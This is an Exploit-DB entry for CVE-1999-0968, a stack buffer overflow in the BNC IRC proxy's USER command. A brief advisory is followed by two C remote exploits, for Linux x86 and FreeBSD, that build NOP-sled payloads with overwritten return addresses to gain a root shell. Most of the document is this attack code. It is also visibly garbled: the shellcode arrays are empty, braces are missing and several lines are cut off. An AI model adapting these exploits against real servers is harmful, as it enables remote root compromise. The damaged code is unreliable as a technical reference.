BNC 2.2.4/2.4.6/2.4.8 IRC Proxy Buffer Overflow Vulnerability 1

ID EDB-ID:20394
Type exploitdb
Reporter duke
Modified 1998-12-26T00:00:00


BNC 2.2.4/2.4.6/2.4.8 IRC Proxy Buffer Overflow Vulnerability (1). CVE-1999-0968. Remote exploit for unix platform


BNC's IRC Proxy is used as a gateway to an IRC server.

A buffer stores a username which arguments the program's USER command. User-supplied input to this buffer is improperly checked for length.

As a result, the excessive data copied onto the stack can overwrite critical parts of the stack frame such as the calling functions' return address. Since this data is supplied by the user it can be crafted to alter the program's flow of execution. 

If properly exploited, this can yield root privilege to the attacker.

   bnc remote buffer overflow for linux x86 (w/o stack-non-exec patch)
   by duke (
   works on versions < 2.4.4

  offsets: slackware: 0 redhat: 400->1000
  special thanks to stranJer! :)

  greets to everyone (plaguez, horiz0n, dpr, kod, f1ex, sewid, antilove,
tewl, dmess0r, stranJer  , all of #!ADM :)   and everyone at )

#include <stdio.h>
#include <string.h>

#define RET 0xbffff814
#define BUFSIZE 2000
#define LEN 1000

char shellcode[] =

main (int argc, char **argv)
  char buf[BUFSIZE];
  int sockfd, i, offset;
  if (argc == 2)
      offset = atoi (argv[1]);
      offset = 0;
  memset (buf, '\x90', BUFSIZE);
  for (i = LEN; i < BUFSIZE - 4; i += 4)
    *(long *) &buf[i] = RET + offset;
  memcpy (buf + (LEN - strlen (shellcode)), shellcode, strlen
  memcpy (buf, "USER ", 5);
  printf ("%s", buf);


----obnc_bsd.c by stranJer
   Remote exploit example for bnc (Irc Proxy v2.2.4 by James Seter)
    by duke (
   32sep98 FreeBSD version by stran9er

   Greet to

#include <stdio.h>
#include <string.h>
#include <sys/types.h>

#define ADDR  0xefbfd907
#define RETPTR      1036
#define BUFSIZE     1041
#define SHELLOFFSET   23

char shellcode[] =
/* added by me dup(0);dup(0) */
/* generic shellcode */

void main (int argc, char **argv)
  char buf[BUFSIZE+5];
  unsigned long int addr = ADDR;
  int i;

  if (argc > 1) addr += atoi (argv[1]);
  fprintf (stderr, "Using address: 0x%X\n", addr);

  memset (buf, 0x90, BUFSIZE);
  for (i = RETPTR; i < BUFSIZE - 4; i += 4)
    *(long *) &buf[i] = addr;
  memcpy (buf + (RETPTR - sizeof(shellcode)) - SHELLOFFSET,
    shellcode, strlen (shellcode));
  printf ("%s/usr/bin/uname -a\n/usr/bin/id\n/bin/pwd\n", buf);
/* segodna: 23 sentabra 1998 goda */